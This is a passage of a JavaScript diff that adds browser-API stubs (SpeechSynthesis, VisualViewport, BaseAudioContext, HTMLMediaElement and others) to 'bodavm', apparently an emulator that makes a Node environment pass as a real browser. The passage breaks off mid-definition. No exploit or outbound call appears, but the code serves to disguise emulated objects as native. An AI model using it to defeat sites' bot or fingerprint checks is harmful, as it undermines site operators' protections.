+bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeRect", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeRect", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['DeprecatedStorageInfo'] = function DeprecatedStorageInfo() { + console.log_copy('DeprecatedStorageInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeprecatedStorageInfo'], "DeprecatedStorageInfo"); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "queryUsageAndQuota", { + writable: true, + enumerable: true, + configurable: true, + value: function queryUsageAndQuota() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype, "DeprecatedStorageInfo", "queryUsageAndQuota", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "requestQuota", { + writable: true, + enumerable: true, + configurable: true, + value: function requestQuota() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype, "DeprecatedStorageInfo", "requestQuota", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['webkitStorageInfo'] = {}; +bodavm.memory.globalobj['webkitStorageInfo'].__proto__ = bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype; +bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() { + console.log_copy('SpeechSynthesis 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boisinit = bodavm.config.isinit; + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { + writable: true, + enumerable: true, + configurable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { + writable: true, + enumerable: true, + configurable: true, + value: function getVoices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "getVoices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { + writable: true, + enumerable: true, + configurable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { + writable: true, + enumerable: true, + configurable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { + writable: true, + enumerable: true, + configurable: true, + value: function speak() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speak", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { + set: undefined, + enumerable: true, + configurable: true, + get: function paused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "paused_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { + set: undefined, + enumerable: true, + configurable: true, + get: function pending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pending_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { + set: undefined, + enumerable: true, + configurable: true, + get: function speaking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speaking_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { + configurable: true, + enumerable: true, + get: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments); + }, + set: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments); + } +}, 'prototype'); + +// speechSynthesis对象 +bodavm.memory.globalobj['speechSynthesis'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['speechSynthesis'].__proto__ = bodavm.memory.globalobj['SpeechSynthesis'].prototype; +delete SpeechSynthesis; +// VisualViewport对象 + +bodavm.memory.globalobj['VisualViewport'] = function VisualViewport() { + console.log_copy('VisualViewport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VisualViewport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VisualViewport'], "VisualViewport"); +bodavm.memory.globalobj['VisualViewport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VisualViewport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetLeft", { + configurable: true, + enumerable: true, + get: function offsetLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetTop", { + configurable: true, + enumerable: true, + get: function offsetTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageLeft", { + configurable: true, + enumerable: true, + get: function pageLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageTop", { + configurable: true, + enumerable: true, + get: function pageTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "scale", { + configurable: true, + enumerable: true, + get: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "scale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_set", arguments); + } +}, 'prototype'); + +// visualViewport对象 + +bodavm.memory.globalobj['visualViewport'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['visualViewport'].__proto__ = bodavm.memory.globalobj['VisualViewport'].prototype; +// BeforeInstallPromptEvent对象 + +bodavm.memory.globalobj['BeforeInstallPromptEvent'] = function BeforeInstallPromptEvent() { + console.log_copy('BeforeInstallPromptEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BeforeInstallPromptEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeInstallPromptEvent'], "BeforeInstallPromptEvent"); +bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BeforeInstallPromptEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "platforms", { + configurable: true, + enumerable: true, + get: function platforms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "platforms_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "userChoice", { + configurable: true, + enumerable: true, + get: function userChoice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "userChoice_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "prompt", { + configurable: true, + enumerable: true, + writable: true, + value: function prompt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "prompt", arguments); + } +}, 'prototype'); +// BarProp对象 + +bodavm.memory.globalobj['BarProp'] = function BarProp() { + console.log_copy('BarProp 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BarProp)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BarProp'], "BarProp"); +bodavm.toolsFunc.defineProperty('BarProp', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BarProp'].prototype, "BarProp", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); +// BaseAudioContext对象 + +bodavm.memory.globalobj['BaseAudioContext'] = function BaseAudioContext() { + console.log_copy('BaseAudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BaseAudioContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BaseAudioContext'], "BaseAudioContext"); +bodavm.memory.globalobj['BaseAudioContext'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BaseAudioContext'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BaseAudioContext', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "listener", { + configurable: true, + enumerable: true, + get: function listener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "listener_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createAnalyser", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnalyser() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createAnalyser", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBiquadFilter", { + configurable: true, + enumerable: true, + writable: true, + value: function createBiquadFilter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBiquadFilter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBufferSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createBufferSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBufferSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelMerger", { + configurable: true, + enumerable: true, + writable: true, + value: function createChannelMerger() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelMerger", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelSplitter", { + configurable: true, + enumerable: true, + writable: true, + value: function createChannelSplitter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelSplitter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConstantSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createConstantSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConstantSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConvolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createConvolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConvolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDelay", { + configurable: true, + enumerable: true, + writable: true, + value: function createDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDelay", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDynamicsCompressor", { + configurable: true, + enumerable: true, + writable: true, + value: function createDynamicsCompressor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDynamicsCompressor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createGain", { + configurable: true, + enumerable: true, + writable: true, + value: function createGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createGain", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createIIRFilter", { + configurable: true, + enumerable: true, + writable: true, + value: function createIIRFilter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createIIRFilter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createOscillator", { + configurable: true, + enumerable: true, + writable: true, + value: function createOscillator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createOscillator", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPanner", { + configurable: true, + enumerable: true, + writable: true, + value: function createPanner() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPanner", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPeriodicWave", { + configurable: true, + enumerable: true, + writable: true, + value: function createPeriodicWave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPeriodicWave", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createScriptProcessor", { + configurable: true, + enumerable: true, + writable: true, + value: function createScriptProcessor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createScriptProcessor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createStereoPanner", { + configurable: true, + enumerable: true, + writable: true, + value: function createStereoPanner() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createStereoPanner", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createWaveShaper", { + configurable: true, + enumerable: true, + writable: true, + value: function createWaveShaper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createWaveShaper", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "decodeAudioData", { + configurable: true, + enumerable: true, + writable: true, + value: function decodeAudioData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "decodeAudioData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "audioWorklet", { + configurable: true, + enumerable: true, + get: function audioWorklet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "audioWorklet_get", arguments); + }, + set: undefined +}, 'prototype'); +// BluetoothUUID对象 + +bodavm.memory.globalobj['BluetoothUUID'] = function BluetoothUUID() { + console.log_copy('BluetoothUUID 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothUUID)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothUUID'], "BluetoothUUID"); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "canonicalUUID", { + configurable: true, + enumerable: true, + writable: true, + value: function canonicalUUID() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "canonicalUUID", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getCharacteristic", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getCharacteristic", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getDescriptor", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getDescriptor", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getService", { + configurable: true, + enumerable: true, + writable: true, + value: function getService() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getService", arguments); + } +}); +bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { + console.log_copy('StyleMedia 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'], "StyleMedia"); +bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { + configurable: true, + enumerable: true, + get: function matchMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments); + }, + set: undefined +}, 'prototype'); + +// styleMedia对象 +bodavm.memory.globalobj['styleMedia'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['styleMedia'].__proto__ = bodavm.memory.globalobj['StyleMedia'].prototype; +// HTMLMediaElement对象 + +bodavm.memory.globalobj['HTMLMediaElement'] = function HTMLMediaElement() { + console.log_copy('HTMLMediaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMediaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMediaElement'], "HTMLMediaElement"); +bodavm.memory.globalobj['HTMLMediaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMediaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "networkState", { + configurable: true, + enumerable: true, + get: function networkState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "networkState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preload", { + configurable: true, + enumerable: true, + get: function preload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_get", arguments); + }, + set: function preload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "buffered", { + configurable: true, + enumerable: true, + get: function buffered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "buffered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seeking", { + configurable: true, + enumerable: true, + get: function seeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seeking_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_get", arguments); + }, + set: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "paused", { + configurable: true, + enumerable: true, + get: function paused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "paused_get", arguments); + }, + set: undefined +}, 